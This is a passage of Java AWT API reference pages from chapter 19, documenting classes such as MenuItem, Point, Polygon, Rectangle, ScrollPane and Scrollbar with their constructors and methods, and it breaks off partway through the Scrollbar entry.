[Graphic: Figure from the text]

Description

MenuContainer is an interface that defines the responsibilities for objects that can have a menu.

Interface Definition

public abstract interface java.awt.MenuContainer
    extends java.lang.Object {

  // Interface Methods
  public abstract Font getFont();
  public abstract boolean postEvent (Event e);
  public abstract void remove (MenuComponent component);
}

Interface Methods

getFont

public abstract Font getFont()

Returns

Current font of the object implementing this method.

postEvent

public abstract boolean postEvent (Event e)

Parameters

e

Event to post.

Returns

Ignores return value.

Description

Posts event to the object implementing this method.

remove

public abstract void remove (MenuComponent component)

Parameters

component

Menu object to remove

Description

Tells the object implementing this method to remove a menu component.

See Also

Event, Font, Frame, Menu, MenuBar, MenuComponent, Object

Previous | Home | Next
MenuComponent | Book Index | MenuItem
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] MenuItem

Previous Chapter 19
java.awt Reference 		Next

MenuItem

Name

MenuItem

[Graphic: Figure from the text]

Description

The MenuItem class represents a selectable item on a menu.

Class Definition

public class java.awt.MenuItem
    extends java.awt.MenuComponent {

  // Constructors
  public MenuItem();   (New)
  public MenuItem (String label);
  public MenuItem (String label, MenuShortcut s);   (New)

  // Instance Methods
  public void addActionListener (ActionListener l);   (New)
  public void addNotify();
  public void deleteShortcut();   (New)
  public synchronized void disable();   (Deprecated)
  public synchronized void enable();   (Deprecated)
  public void enable (boolean condition);   (Deprecated)
  public String getActionCommand();   (New)
  public String getLabel();
  public MenuShortcut getShortcut();   (New)
  public boolean isEnabled();
  public String paramString();
  public void removeActionListener (ActionListener l);   (New)
  public void setActionCommand (String command);   (New)
  public synchronized void setEnabled (boolean b);   (New)
  public synchronized void setLabel (String label);
  public void setShortcut (MenuShortcut s);   (New)
  // Protected Instance Methods
  protected final void disableEvents (long eventsToDisable);   (New)
  protected final void enableEvents (long eventsToEnable);   (New)
  protected void processActionEvent (ActionEvent e);   (New)
  protected void processEvent (AWTEvent e);   (New)
}

Constructors

MenuItem

public MenuItem() (New)

Description

Constructs a MenuItem object with no label or shortcut.

public MenuItem (String label)

Parameters

label

Text that appears on the MenuItem.

Description

Constructs a MenuItem object.

public MenuItem (String label, MenuShortcut s) (New)

Parameters

label

Text that appears on the MenuItem.

s

Shortcut for the MenuItem.

Description

Constructs a MenuItem object with the given shortcut.

Instance Methods

addActionListener

public void addActionListener(ActionListener l) (New)

Parameters

l

An object that implements the ActionListener interface.

Description

Add a listener for the action event.

addNotify

public void addNotify()

Description

Creates the MenuItem's peer.

deleteShortcut

public void deleteShortcut() (New)

Description

Removes the shortcut associated with this item.

disable

public synchronized void disable() (Deprecated)

Description

Disables the menu component so that it is unresponsive to user interactions. Replaced by setEnabled(false).

enable

public synchronized void enable() (Deprecated)

Description

Enables the menu component so that it is responsive to user interactions. Replaced by setEnabled(true).

public void enable (boolean condition) (Deprecated)

Parameters

condition

true to enable the menu component; false to disable it.

Description

Enables or disables the menu component, depending on the condition parameter. Replaced by setEnabled(boolean).

getActionCommand

public String getActionCommand() (New)

Returns

Current action command string.

Description

Returns the string used for the action command.

getLabel

public String getLabel()

Returns

The current text associated with the MenuItem.

getShortcut

public MenuShortcut getShortcut() (New)

Returns

The current shortcut for this item, or null if there is none.

isEnabled

public boolean isEnabled()

Returns

true if the menu item is enabled, false otherwise.

paramString

public String paramString()

Returns

String with current settings of MenuItem.

Description

Helper method for toString() to generate string of current settings.

removeActionListener

public void removeActionListener(ActionListener l) (New)

Parameters

l

One of this Button's ActionListeners.

Description

Remove an action event listener.

setActionCommand

public void setActionCommand(String command) (New)

Parameters

command

New action command string.

Description

Specify the string used for the action command.

setEnabled

public synchronized void setEnabled (boolean b) (New)

Parameters

b

true to enable the item, false to disable it.

Description

Enables or disables the item. Replaces enable(), enable(boolean), and disable().

setLabel

public synchronized void setLabel (String label)

Parameters

label

New text to appear on MenuItem.

Description

Changes the label of the MenuItem.

setShortcut

public void setShortcut (MenuShortcut s) (New)

Parameters

s

New shortcut for the MenuItem.

Description

Changes the shortcut of the MenuItem.

Protected Instance Methods

disableEvents

protected final void disableEvents (long eventsToDisable) (New)

Parameters

eventsToDisable

A value representing certain kinds of events. This can be constructed by ORing the event mask constants defined in java.awt.AWTEvent.

Description

By default, a menu item receives events corresponding to the event listeners that have registered. If a menu item should not receive events of a certain type, even if there is a listener registered for that type of event, this method can be used to disable that event type.

enableEvents

protected final void enableEvents (long eventsToEnable) (New)

Parameters

eventsToDisable

A value representing certain kinds of events. This can be constructed by ORing the event mask constants defined in java.awt.AWTEvent.

Description

By default, a menu item receives events corresponding to the event listeners that have registered. If a menu item should receive other types of events as well, this method can be used to get them.

processActionEvent

protected void processActionEvent (ActionEvent e) (New)

Parameters

e

The action event to process.

Description

Action events are passed to this method for processing. Normally, this method is called by processEvent().

processEvent

protected void processEvent (AWTEvent e) (New)

Parameters

e

The event to process.

Description

Low-level AWTEvents are passed to this method for processing.

See Also

CheckboxMenuItem, Menu, MenuComponent, MenuShortcut, String

Previous | Home | Next
MenuContainer | Book Index | MenuShortcut (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] MenuShortcut

Previous Chapter 19
java.awt Reference 		Next

MenuShortcut (New)

Name

MenuShortcut (New)

[Graphic: Figure from the text]

Description

A MenuShortcut is used to associate a keystroke with a menu item. MenuShortcuts are constructed using their corresponding key; they are associated with menu items via MenuItem.setShortcut(MenuShortcut).

Class Definition

public class java.awt.MenuShortcut
    extends java.awt.Event {
  // Constructors
  public MenuShortcut (int key);
  public MenuShortcut (int key, boolean useShiftModifier);
  // Instance Methods
  public boolean equals (MenuShortcut s);
  public int getKey();
  public String toString();
  public boolean usesShiftModifier();
  // Protected Instance Methods
  protected String paramString();
}

Constructors

MenuShortcut

public MenuShortcut (int key)

Parameters

key

A keycode like those returned with key press Event objects.

Description

Constructs a MenuShortcut object for the given key.

public MenuShortcut (int key, boolean useShiftModifier)

Parameters

key

A keycode like those returned with key press Event objects.

useShiftModifier

true if the Shift key must be used, false otherwise.

Description

Constructs a MenuShortcut object with the given values.

Instance Methods

equals

public boolean equals (MenuShortcut s)

Parameters

s

The MenuShortcut to compare.

Returns

true if s is equal to this MenuShortcut, false otherwise.

getKey

public int getKey()

Returns

The key for this MenuShortcut.

toString

public String toString()

Returns

A string representation of the MenuShortcut object.

Overrides

Event.toString()

usesShiftModifier

public boolean usesShiftModifier()

Returns

true if this MenuShortcut must be invoked with the Shift key pressed, false otherwise.

Protected Instance Methods

paramString

protected String paramString()

Returns

String with current settings of MenuShortcut.

Overrides

Event.paramString()

Description

Helper method for toString() to generate string of current settings.

See Also

Event, MenuItem

Previous | Home | Next
MenuItem | Book Index | Panel
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Panel

Previous Chapter 19
java.awt Reference 		Next

Panel

Name

Panel

[Graphic: Figure from the text]

Description

The Panel class provides a generic Container within an existing display area.

Class Definition

public class java.awt.Panel
    extends java.awt.Container {

  // Constructors
  public Panel();
  public Panel(LayoutManager layout);   (New)

  // Instance Methods
  public void addNotify();
}

Constructors

Panel

public Panel()

Description

Constructs a Panel object.

public Panel (LayoutManager layout) (New)

Description

Constructs a Panel object with the specified layout manager.

Instance Methods

addNotify

public void addNotify()

Overrides

Container.addNotify()

Description

Creates Panel's peer and peers of contained components.

See Also

Applet, Container

Previous | Home | Next
MenuShortcut (New) | Book Index | Point
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Point

Previous Chapter 19
java.awt Reference 		Next

Point

Name

Point

[Graphic: Figure from the text]

Description

The Point class encapsulates a pair of x and y coordinates within a single object.

Class Definition

public class java.awt.Point
    extends java.lang.Object
    implements java.io.Serializable {
  // Variables
  public int x;
  public int y;

  // Constructors
  public Point();   (New)
  public Point (int width, int height);
  public Point (Point p);   (New)

  // Instance Methods
  public boolean equals (Object object);
  public Point getLocation();   (New)
  public int hashCode();
  public void move (int x, int y);
  public void setLocation (int x, int y);   (New)
  public void setLocation (Point p);   (New)
  public String toString();
  public void translate (int deltax, int deltay);
}

Variables

x

public int x

The coordinate that represents the horizontal position.

y

public int y

The coordinate that represents the vertical position.

Constructors

Point

public Point() (New)

Description

Constructs a Point object initialized to (0, 0).

public Point (int x, int y)

Parameters

x

Coordinate that represents the horizontal position.

y

Coordinate that represents the vertical position.

Description

Constructs a Point object with an initial position of (x, y).

public Point (Point p) (New)

Parameters

p

Initial position.

Description

Constructs a Point object with the same position as p.

Instance Methods

equals

public boolean equals (Object object)

Parameters

object

The object to compare.

Returns

true if both points have the same x and y coordinates, false otherwise.

Overrides

Object.equals()

Description

Compares two different Point instances for equivalence.

getLocation

public Point getLocation() (New)

Returns

Position of this point.

Description

Gets the current position of this Point.

hashCode

public int hashCode()

Returns

A hashcode to use the Point is used as a key in a Hashtable.

Overrides

Object.hashCode()

Description

Generates a hashcode for the Point.

move

public void move (int x, int y)

Parameters

x

The new x coordinate.

y

The new y coordinate.

Description

Changes the Point's location to (x, y).

setLocation

public void setLocation (int x, int y) (New)

Parameters

x

The new x coordinate.

y

The new y coordinate.

Description

Changes the Point's location to (x, y).

public void setLocation (Point p) (New)

Parameters

p

The new location.

Description

Changes the Point's location to p.

toString

public String toString()

Returns

A string representation of the Point object.

Overrides

Object.toString()

translate

public void translate (int deltax, int deltay)

Parameters

deltax

Amount to move horizontally.

deltay

Amount to move vertically.

Description

Moves the Point to the location (x+deltax, y+deltay).

See Also

Object, String

Previous | Home | Next
Panel | Book Index | Polygon
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Polygon

Previous Chapter 19
java.awt Reference 		Next

Polygon

Name

Polygon

[Graphic: Figure from the text]

Description

The Polygon class encapsulates a collection of points used to create a series of line segments.

Class Definition

public class java.awt.Polygon
    extends java.lang.Object
    implements java.awt.Shape, java.io.Serializable {

  // Variables
  protected Rectangle bounds;   (New)
  public int npoints;
  public int xpoints[];
  public int ypoints[];

  // Constructors
  public Polygon();
  public Polygon (int xpoints[], int ypoints, int npoints);

  // Instance Methods
  public void addPoint (int x, int y);
  public boolean contains (int x, int y);   (New)
  public boolean contains (Point p);   (New)
  public Rectangle getBoundingBox();   (Deprecated)
  public Rectangle getBounds();   (New)
  public boolean inside (int x,int y);   (Deprecated)
  public void translate (int deltaX, int deltaY);   (New)
}

Variables

bounds

protected Rectangle bounds (New)

The rectangle that describes the boundaries of the Polygon.

npoints

public int npoints

The number of elements to use in the xpoints and ypoints arrays.

xpoints

public int xpoints[]

The array of x coordinates for each point.

ypoints

public int ypoints[]

The array of y coordinates for each point.

Constructors

Polygon

public Polygon()

Description

Constructs an empty Polygon object with no points.

public Polygon (int xPoints[], int yPoints[], int numPoints)

Parameters

xPoints[]

The initial array of x coordinates for each point.

yPoints[]

The initial array of y coordinates for each point.

numPoints

The number of elements in both xPoints and yPoints arrays to use.

Throws

ArrayIndexOutOfBoundsException

If numPoints > xPoints.length or numPoints > yPoints.length.

Description

Constructs a Polygon object with the set of points provided.

Instance Methods

addPoint

public void addPoint (int x, int y)

Parameters

x

The x coordinate of the point to be added.

y

The y coordinate of the point to be added.

Description

Adds the point (x, y) to the end of the list of points for the Polygon.

contains

public boolean contains (int x, int y) (New)

Parameters

x

The x coordinate to test.

y

The y coordinate to test.

Returns

true if the Polygon contains the point; false otherwise.

public boolean contains (Point p) (New)

Parameters

p

The point to be tested.

Returns

true if the Polygon contains the point; false otherwise.

getBoundingBox

public Rectangle getBoundingBox() (Deprecated)

Returns

Bounding Rectangle of the points within the Polygon.

Description

Returns the smallest Rectangle that contains all the points within the Polygon. Replaced by getBounds().

getBounds

public Rectangle getBounds() (New)

Implements

Shape.getBounds()

Returns

Bounding Rectangle of the points within the Polygon.

Description

Returns the smallest Rectangle that contains all the points within the Polygon.

inside

public boolean inside (int x,int y) (Deprecated)

Parameters

x

The x coordinate of the point to be checked.

y

The y coordinate of the point to be checked.

Returns

true if (x, y) within Polygon, false otherwise.

Description

Checks to see if the (x, y) point is within an area that would be filled if the Polygon was drawn with Graphics.fillPolygon(). Replaced by contains(int, int).

translate

public void translate (int deltaX, int deltaY) (New)

Parameters

deltaX

Amount to move horizontally.

deltaY

Amount to move vertically.

Description

Moves the Polygon to the location (x+deltaX, y+deltaY).

See Also

Graphics, Object, Rectangle

Previous | Home | Next
Point | Book Index | PopupMenu (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] PopupMenu

Previous Chapter 19
java.awt Reference 		Next

PopupMenu (New)

Name

PopupMenu (New)

[Graphic: Figure from the text]

Description

A PopupMenu is a menu that can be popped up on a Component.

Class Definition

public class java.awt.PopupMenu
    extends java.awt.Menu {

  // Constructors
  public PopupMenu();
  public PopupMenu (String label);

  // Instance Methods
  public synchronized void addNotify();
  public void show (Component origin, int x, int y);
}

Constructors

PopupMenu

public PopupMenu()

Description

Constructs a PopupMenu object.

public PopupMenu (String label)

Parameters

label

Text that appears on Menu.

Description

Constructs a PopupMenu object with the given label.

Instance Methods

addNotify

public synchronized void addNotify()

Overrides

Menu.addNotify()

Description

Creates a PopupMenu peer.

show

public void show (Component origin, int x, int y)

Parameters

origin

The Component upon which the PopupMenu will be displayed.

x

The PopupMenu's horizontal position on the component.

y

The PopupMenu's vertical position on the component.

Description

Shows the menu on the given Component. The origin specified must be contained in the hierarchy of the PopupMenu's parent component, which is determined by the call to Component.add(PopupMenu).

Previous | Home | Next
Polygon | Book Index | PrintGraphics (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] PrintGraphics

Previous Chapter 19
java.awt Reference 		Next

PrintGraphics (New)

Name

PrintGraphics (New)

[Graphic: Figure from the text]

Description

PrintGraphics is an interface for classes that provide a printing graphics context.

Interface Definition

public abstract interface java.awt.PrintGraphics {

  // Interface Methods
  public abstract PrintJob getPrintJob();
}

Interface Methods

getPrintJob

public abstract PrintJob getPrintJob()

Returns

The PrintJob from which the PrintGraphics object originated.

See Also

PrintJob

Previous | Home | Next
PopupMenu (New) | Book Index | PrintJob (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] PrintJob

Previous Chapter 19
java.awt Reference 		Next

PrintJob (New)

Name

PrintJob (New)

[Graphic: Figure from the text]

Description

PrintJob encapsulates printing information. When you call Toolkit.getPrintJob(), this is the object that is returned. From the PrintJob, you can access a Graphics object, which can be used for drawing to the printer.

Class Definition

public abstract class jav.awt.PrintJob
    extends java.lang.Object {
  // Instance Methods
  public abstract void end();
  public void finalize();
  public abstract Graphics getGraphics();
  public abstract Dimension getPageDimension();
  public abstract int getPageResolution();
  public abstract boolean lastPageFirst();
}

Instance Methods

end

public abstract void end()

Description

Ends printing and cleans up.

finalize

public void finalize()

Overrides

Object.finalize()

Description

Cleans up when this object is garbage collected.

getGraphics

public abstract Graphics getGraphics()

Returns

A Graphics object representing the next page. The object returned will also implement the PrintGraphics interface.

Description

Returns a Graphics object for printing.

getPageDimension

public abstract Dimension getPageDimension()

Returns

The page dimensions in pixels.

getPageResolution

public abstract int getPageResolution

Returns

The page resolution, in pixels per inch.

lastPageFirst

public abstract boolean lastPageFirst()

Returns

true if pages are printed in reverse order; false otherwise.

See Also

Dimension, Graphics, PrintGraphics, Toolkit

Previous | Home | Next
PrintGraphics (New) | Book Index | Rectangle
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Rectangle

Previous Chapter 19
java.awt Reference 		Next

Rectangle

Name

Rectangle

[Graphic: Figure from the text]

Description

The Rectangle class represents a rectangle by combining its origin (a pair of x and y coordinates) with its size (a width and a height).

Class Definition

public class java.awt.Rectangle
    extends java.lang.Object
    implements java.awt.Shape, java.io.Serializable {

  // Variables
  pubic int height;
  public int width;
  public int x;
  public int y;

  // Constructors
  public Rectangle();
  public Rectangle (int width, int height);
  public Rectangle (int x, int y, int width, int height);
  public Rectangle (Dimension d);
  public Rectangle (Point p);
  public Rectangle (Point p, Dimension d);
  public Rectangle (Rectangle r);   (New)

  // Instance Methods
  public void add (int newX, int newY);
  public void add (Point p);
  public void add (Rectangle r);
  public boolean contains (int x, int y);   (New)
  public boolean contains (Point p);   (New)
  public boolean equals (Object object);
  public Rectangle getBounds();   (New)
  public Point getLocation();   (New)
  public Dimension getSize();   (New)
  public void grow (int horizontal, int vertical);
  public int hashCode();
  public boolean inside (int x, int y);   (Deprecated)
  public Rectangle intersection (Rectangle r);
  public boolean intersects (Rectangle r);
  public boolean isEmpty();
  public void move (int x, int y);   (Deprecated)
  public void reshape (int x, int y, int width, int height);   (Deprecated)
  public void resize (int width, int height);   (Deprecated)
  public void setBounds (Rectangle r);   (New)
  public void setBounds (int x, int y, int width, int height);   (New)
  public void setLocation (int x, int y);   (New)
  public void setLocation (Point p);   (New)
  public void setSize (int width, int height);   (New)
  public void setSize (Dimension d);   (New)
  public String toString();
  public void translate (int x, int y);
  public Rectangle union (Rectangle r);
}

Variables

height

public int height

The height of the Rectangle.

width

public int width

The width of the Rectangle.

x

public int x

The x coordinate of the Rectangle's upper left corner (its origin).

y

public int y

The y coordinate of the Rectangle's upper left corner (its origin).

Constructors

Rectangle

public Rectangle()

Description

Constructs an empty Rectangle object with an origin of (0, 0) and dimensions of 0 x 0.

public Rectangle (int width, int height)

Parameters

width

width of Rectangle

height

height of Rectangle

Description

Constructs a Rectangle object with an origin of (0, 0) and dimensions of width x height.

public Rectangle (int x, int y, int width, int height)

Parameters

x

x coordinate of the Rectangle's origin

y

y coordinate of the Rectangle's origin

width

width of Rectangle

height

height of Rectangle

Description

Constructs a Rectangle object with an origin of (x, y) and dimensions of width x height.

public Rectangle (Dimension d)

Parameters

d

dimensions of Rectangle

Description

Constructs a Rectangle object with an origin of (0, 0) and dimensions of d.width x d.height.

public Rectangle (Point p)

Parameters

p

origin of Rectangle

Description

Constructs an empty Rectangle object with an origin of (p.x, p.y) and dimensions of 0 x 0.

public Rectangle (Point p, Dimension d)

Parameters

p

origin of Rectangle

d

dimensions of Rectangle

Description

Constructs a Rectangle object with an origin of (p.x, p.y) and dimensions of d.width x d.height.

public Rectangle (Rectangle r) (New)

Parameters

r

original Rectangle

Description

Constructs copy of the given Rectangle.

Instance Methods

add

public void add (int newX, int newY)

Parameters

newX

The x-coordinate of a point to incorporate within the Rectangle.

newY

The y-coordinate of a point to incorporate within the Rectangle.

Description

Extends the Rectangle so that the point (newX, newY) is within it.

public void add (Point p)

Parameters

p

The new Point to add to the Rectangle.

Description

Extends the Rectangle so that the point p is within it.

public void add (Rectangle r)

Parameters

r

The Rectangle being added to the current Rectangle.

Description

Extends the Rectangle to include the Rectangle r.

contains

public boolean contains (int x, int y) (New)

Parameters

x

The x coordinate to test.

y

The y coordinate to test.

Returns

true if the Rectangle contains the point; false otherwise.

public boolean contains (Point p) (New)

Parameters

p

The point to be tested.

Returns

true if the Rectangle contains the point; false otherwise.

equals

public boolean equals (Object object)

Parameters

object

The object to compare.

Returns

true if both Rectangles have the same origin, width, and height; false otherwise.

Overrides

Object.equals(Object)

Description

Compares two different Rectangle instances for equivalence.

getBounds

public Rectangle getBounds() (New)

Implements

Shape.getBounds()

Returns

Bounding Rectangle.

getLocation

public Point getLocation() (New)

Returns

Position of the rectangle.

Description

Gets the current position of this Rectangle.

getSize

public Dimension getSize() (New)

Returns

Dimensions of the rectangle.

Description

Gets width and height of the rectangle.

grow

public void grow (int horizontal, int vertical)

Parameters

horizontal

Amount to extend Rectangle in horizontal direction on both the left and right sides.

vertical

Amount to extend Rectangle in vertical direction on both the top and the bottom.

Description

Increases the rectangle's dimensions.

hashCode

public int hashCode()

Returns

A hashcode to use when using the Rectangle as a key in a Hashtable.

Overrides

Object.hashCode()

Description

Generates a hashcode for the Rectangle.

inside

public boolean inside (int x, int y) (Deprecated)

Parameters

x

The x coordinate to check.

y

The y coordinate to check.

Returns

true if (x, y) falls within the Rectangle, false otherwise.

Description

Checks to see if the point (x, y) is within the Rectangle. Replaced by contains(int, int).

intersection

public Rectangle intersection (Rectangle r)

Parameters

r

Rectangle to add to the current Rectangle.

Returns

A new Rectangle consisting of all points in both the current Rectangle and r.

Description

Generates a new Rectangle that is the intersection of r and the current Rectangle.

intersects

public boolean intersects (Rectangle r)

Parameters

r

Rectangle to check.

Returns

true if any points in r are also in the current Rectangle, false otherwise.

Description

Checks to see if r crosses the Rectangle.

isEmpty

public boolean isEmpty()

Returns

true if the Rectangle is empty, false otherwise.

Description

Determines if the rectangle is dimensionless (i.e., width or height are less than or equal to 0).

move

public void move (int x, int y) (Deprecated)

Parameters

x

The new x coordinate of the Rectangle's upper left corner.

y

The new y coordinate of the Rectangle's upper left corner.

Description

Changes the Rectangle's origin to (x, y). Replaced by setLocation(int, int).

reshape

public void reshape (int x, int y, int width, int height) (Deprecated)

Parameters

x

The new x coordinate of the Rectangle's upper left corner.

y

The new y coordinate of the Rectangle's upper left corner.

width

The new width.

height

The new height.

Description

Changes Rectangle's origin and dimensions. Replaced by setBounds(int, int, int, int).

resize

public void resize (int width, int height) (Deprecated)

Parameters

width

The new width.

height

The new height.

Description

Changes Rectangle's dimensions. Replaced by setSize(int, int).

setBounds

public void setBounds (Rectangle r) (New)

Parameters

r

A Rectangle describing the new bounds.

Description

Changes Rectangle's location and size.

public void setBounds (int x, int y, int width, int height) [New in 1.1]

Parameters

x

The new x coordinate of the Rectangle's upper left corner.

y

The new y coordinate of the Rectangle's upper left corner.

width

The new width.

height

The new height.

Description

Changes Rectangle's location and size.

setLocation

public void setLocation (int x, int y) (New)

Parameters

x

New horizontal position.

y

New vertical position.

Description

Relocates the rectangle.

public void setLocation (Point p) (New)

Parameters

p

New position for component.

Description

Relocates the rectangle.

setSize

public void setSize (int width, int height) (New)

Parameters

width

New width.

height

New height.

Description

Resizes the rectangle.

public void setSize (Dimension d) (New)

Parameters

d

New dimensions.

Description

Resizes the rectangle.

toString

public String toString()

Returns

A string representation of the Rectangle object.

Overrides

Object.toString()

translate

public void translate (int deltax, int deltay)

Parameters

deltax

Amount to move Rectangle horizontally.

deltay

Amount to move Rectangle vertically.

Description

Moves the Rectangle's origin to (x+deltax, y+deltay).

union

public Rectangle union (Rectangle r)

Parameters

r

Rectangle to determine union with.

Returns

The smallest Rectangle containing both r and the current Rectangle.

Description

Generates a new Rectangle by combining r and the current Rectangle.

See Also

Dimension, Object, Point, String

Previous | Home | Next
PrintJob (New) | Book Index | ScrollPane (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] ScrollPane

Previous Chapter 19
java.awt Reference 		Next

ScrollPane (New)

Name

ScrollPane (New)

[Graphic: Figure from the text]

Description

The ScrollPane class provides automatic scrolling of a child component.

Class Definition

public class java.awt.ScrollPane
    extends java.awt.Container {
  // Constants
  public final static int SCROLLBARS_ALWAYS;
  public final static int SCROLLBARS_AS_NEEDED;
  public final static int SCROLLBARS_NEVER;
  // Constructors
  public ScrollPane();
  public ScrollPane (int scrollbarDisplayPolicy);
  // Public Instance Methods
  public void addNotify();
  public void doLayout();
  public Adjustable getHAdjustable();
  public int getHScrollbarHeight();
  public Point getScrollPosition();
  public int getScrollbarDisplayPolicy();
  public Adjustable getVAdjustable();
  public int getVScrollbarWidth();
  public Dimension getViewportSize();
  public void layout();   (Deprecated)
  public String paramString();
  public void printComponents (Graphics g);
  public final void setLayout (LayoutManager mgr);
  public void setScrollPosition (int x, int y);
  public void setScrollPosition (Point p);

  //Protected Instance Methods
  protected final void addImpl (Component comp, Object constraints,
    int index);
}

Constants

SCROLLBARS_ALWAYS

public final static int SCROLLBARS_ALWAYS

Always show the scrollbars.

SCROLLBARS_AS_NEEDED

public final static int SCROLLBARS_AS_NEEDED

Only show the scrollbars if the contents of the ScrollPane are larger than what is visible.

SCROLLBARS_NEVER

public final static int SCROLLBARS_NEVER

Don't ever show the scrollbars. The ScrollPane can still be scrolled programmatically.

Constructors

ScrollPane

public ScrollPane()

Description

Constructs a ScrollPane object with SCROLLBARS_AS_NEEDED.

public ScrollPane (int scrollbarDisplayPolicy)

Parameters

scrollbarDisplayPolicy

One of the SCROLLBARS_ constants.

Description

Constructs a ScrollPane object with the specified scrollbar display policy.

Instance Methods

addImpl

protected final void addImpl (Component comp, Object constraints, int index)

Parameters

comp

The component to add to the Scrollpane.

constraints

Layout constraints; ignored.

index

The position at which to add the component; should always be less than or equal to 0.

Returns

The component that was added.

Overrides

Container.addImpl (Component, Object, int)

Throws

IllegalArgumentException

If pos is greater than 0.

Description

Adds a child component to the Scrollpane. If there already was a child component, it is replaced by the new component.

addNotify

public void addNotify()

Overrides

Container.addNotify()

Description

Creates ScrollPane's peer.

doLayout

public void doLayout()

Overrides

Container.doLayout()

Description

Lays out the ScrollPane. Resizes the child component to its preferred size.

getHAdjustable

public Adjustable getHAdjustable()

Returns

The object implementing the Adjustable interface that is used to adjust the ScrollPane horizontally. Usually this is a Scrollbar.

getHScrollbarHeight

public int getHScrollbarHeight()

Returns

The height a horizontal scrollbar would occupy, regardless of whether it's shown or not.

getScrollPosition

public Point getScrollPosition()

Returns

Returns the position within the child component that is displayed at 0, 0 in the ScrollPane.

getScrollbarDisplayPolicy

public int getScrollbarDisplayPolicy()

Returns

The display policy for the scrollbars (one of the SCROLLBARS_ constants).

getVAdjustable

public Adjustable getVAdjustable()

Returns

The object implementing the Adjustable interface that is used to adjust the ScrollPane vertically. Usually this is a Scrollbar.

getVScrollbarWidth

public int getVScrollbarWidth()

Returns

The width a vertical scrollbar would occupy, regardless of whether it's shown or not.

getViewportSize

public Dimension getViewportSize()

Returns

The size of the ScrollPane's port (the area of the child component that is shown).

layout

public void layout() (Deprecated)

Overrides

Container.layout()

Description

Lays out component. Replaced by doLayout().

paramString

public String paramString()

Returns

String with current settings of ScrollPane.

Overrides

Container.paramString()

Description

Helper method for toString() to generate string of current settings.

printComponents

public void printComponents (Graphics g)

Parameters

g

Graphics context.

Overrides

Container.printComponents(Graphics)

Description

Prints the ScrollPane's child component.

setLayout

public void setLayout (LayoutManager manager)

Parameters

manager

Ignored.

Overrides

Container.setLayout(LayoutManager)

Description

Does nothing. No layout manager is needed because there is only one child component.

setScrollPosition

public void setScrollPosition (int x, int y)

Parameters

x

New horizontal position.

y

New vertical position.

Throws

IllegalArgumentException

If the point given is not valid.

Description

Scroll to the given position in the child component.

public void setScrollPosition (Point p)

Parameters

p

New position.

Throws

IllegalArgumentException

If the point given is not valid.

Description

Scroll to the given position in the child component.

See Also

Adjustable, Container, Point, Scrollbar

Previous | Home | Next
Rectangle | Book Index | Scrollbar
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Scrollbar

Previous Chapter 19
java.awt Reference 		Next

Scrollbar

Name

Scrollbar

[Graphic: Figure from the text]

Description

The Scrollbar is a Component that provides the means to get and set values within a predetermined range. For example, a scrollbar could be used for a volume control. Scrollbars are most frequently used to help users manipulate areas too large to be displayed on the screen (pre version 1.1) or to set a value within an integer range.

Class Definition

public class java.awt.Scrollbar
    extends java.awt.Component
    implements java.awt.Adjustable {

  // Constants
  public final static int HORIZONTAL;
  public final static int VERTICAL;

  // Constructors
  public Scrollbar();
  public Scrollbar (int orientation);
  public Scrollbar (int orientation, int value, int visible, int minimum,
    int maximum);

  // Instance Methods
  public void addAdjustmentListener (AdjustmentListener l);   (New)
  public void addNotify();
  public int getBlockIncrement();   (New)
  public int getLineIncrement();   (Deprecated)
  public int getMaximum();
  public int getMinimum();
  public int getOrientation();
  public int getPageIncrement();   (Deprecated)
  public int getUnitIncrement();   (New)
  public int getValue();
  public int getVisible();   (Deprecated)
  public int getVisibleAmount();   (New)
  public void removeAdjustmentListener (AdjustmentListener l);   (New)
  public synchronized void setBlockIncrement (int v);   (New)
  public void setLineIncrement (int amount);   (Deprecated)
  public synchronized void setMaximum (int newMaximum);   (New)
  public synchronized void setMinimum (int newMinimum);   (New)
  public synchronized void setOrientation (int orientation);   (New)
  public void setPageIncrement (int amount);   (Deprecated)
  public synchronized void setUnitIncrement(int v);   (New)
  public synchronized void setValue (int value);
  public synchronized void setValues (int value, int visible,
    int minimum, int maximum);
  public synchronized void setVisibleAmount (int newAmount);   (New)

  // Protected Instance Methods
  protected String paramString();
  protected void processAdjustmentEvent (AdjustmentEvent e);   (New)
  protected void processEvent (AWTEvent e);   (New)
}

Constants

HORIZONTAL

public final static int HORIZONTAL

Constant used for a Scrollbar with a horizontal orientation.

VERTICAL

public final static int VERTICAL

Constant used for a Scrollbar with a vertical orientation.

Constructors

Scrollbar

public Scrollbar()

Description

Constructs a vertical Scrollbar object; slider size, minimum value, maximum value, and initial value are all zero.

public Scrollbar (int orientation)

Parameters

orientation

Scrollbar constant designating direction.

Throws

IllegalArgumentException

If orientation is invalid.

Description

Constructs a Scrollbar object, in the designated direction; slider size, minimum value, maximum value, and initial value are all zero.

public Scrollbar (int orientation, int value, int visible, int minimum, int maximum)

Parameters

orientation

Scrollbar constant designating direction.

value

Initial value of Scrollbar.

visible

Initial slider size.

minimum

Initial minimum value.

maximum

Initial maximum value.

Throws

IllegalArgumentException

If orientation is invalid.

Description

Constructs a Scrollbar object with the given values.

Instance Methods

addAdjustmentListener

public void addAdjustmentListener (AdjustmentListener l) (New)

Parameters

l

An object that implements the AdjustmentListener interface.

Implements

Adjustable.addAdjustmentListener()

Description

Add a listener for adjustment event.

addNotify

public void addNotify()

Overrides

Component.addNotify()

Description

Creates Scrollbar's peer.

getBlockIncrement

public int getBlockIncrement() (New)

Implements

Adjustable.getBlockIncrement()

Returns

The amount to scroll when a paging area is selected.

getLineIncrement

public int getLineIncrement() (Deprecated)

Returns

